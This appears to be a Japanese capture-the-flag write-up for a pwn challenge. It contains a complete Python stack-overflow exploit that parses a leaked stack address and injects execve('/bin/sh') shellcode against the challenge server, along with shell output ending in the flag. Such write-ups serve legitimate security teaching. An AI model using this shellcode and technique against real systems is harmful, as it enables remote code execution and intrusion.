Skip to content

Latest commit

 

History

History

README.md

Shellcode:Pwn:300pts

添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。
nc 10.1.1.10 13050
この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/
shellcode_81ee2bc92a8806e81ee43f4f0b025b819f31a113.zip

Solution

実行ファイルが配られる。
まず初めにセキュリティ機構をチェックすると以下のようであった。

$ checksec --file=shellcode
[*] '/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

NX disabledなのでスタックのシェルコードを利用すると考えられるが、PIE enabledなので各アドレスがわからない。
実行すると以下のようであった。

$ ./shellcode
       |
target | [0x7ffee4820160]
       |
Well. Ready for the shellcode?
> flag
flag
$ python -c "print('A'*100)" | ./shellcode
       |
target | [0x7fff661e3ee0]
       |
Well. Ready for the shellcode?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

謎のアドレスを表示してくれている(BOFもある)。
gdbでこのアドレスを調査する。
おそらくスタックのトップだと予測し、printf後に各アドレスを見る。
gdb.png
予想通りスタックのトップのようだ。
ここから、シェルコードをスタックにのせた後にBOFを使いリターンアドレスを表示されたアドレスに飛ばせばよいとわかる。
指定されたターミナルではpwntoolsが入っていないので、頑張って以下のようにpythonを書く。
シェルコードはx64でスタックバッファオーバーフローをやってみる - ももいろテクノロジーよりお借りした。

import re
import sys
import socket

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect(("10.1.1.10", 13050))
c.settimeout(1)

leak = b"[0x000000000000] ;("
try:
    leak = c.recv(256) + c.recv(256) + c.recv(256)
except:
    pass
leak = "0000" + re.search("\[0x(.*)\]", leak.decode()).group(1)
print(leak)

payload = b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"
payload += b"A"*(88-len(payload)) + bytes.fromhex(leak)[::-1] + b"\n"
c.send(payload)
print(payload)

_ = c.recv(256)

c.send(f"{sys.argv[1]};ls\n".encode())
print(c.recv(512).decode())

以下のように実行するとシェルが取れるので、flagを探す。
たまに、socket通信に失敗するのはご愛嬌。

user@1aff9737a923:~$ python3 exploit.py ls
00007ffc12002bb0
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb0+\x00\x12\xfc\x7f\x00\x00\n'
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

user@1aff9737a923:~$ python3 exploit.py "cd /home"
00007fff44d23f40
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@?\xd2D\xff\x7f\x00\x00\n'
user

user@1aff9737a923:~$ python3 exploit.py "cd /home/user"
00007ffebdfb1230
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0\x12\xfb\xbd\xfe\x7f\x00\x00\n'
flag
shellcode

user@1aff9737a923:~$ python3 exploit.py "cat /home/user/flag"
00007fff45b73fc0
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0?\xb7E\xff\x7f\x00\x00\n'
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

flagが得られた(チームメンバーが先に解いていた)。

flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}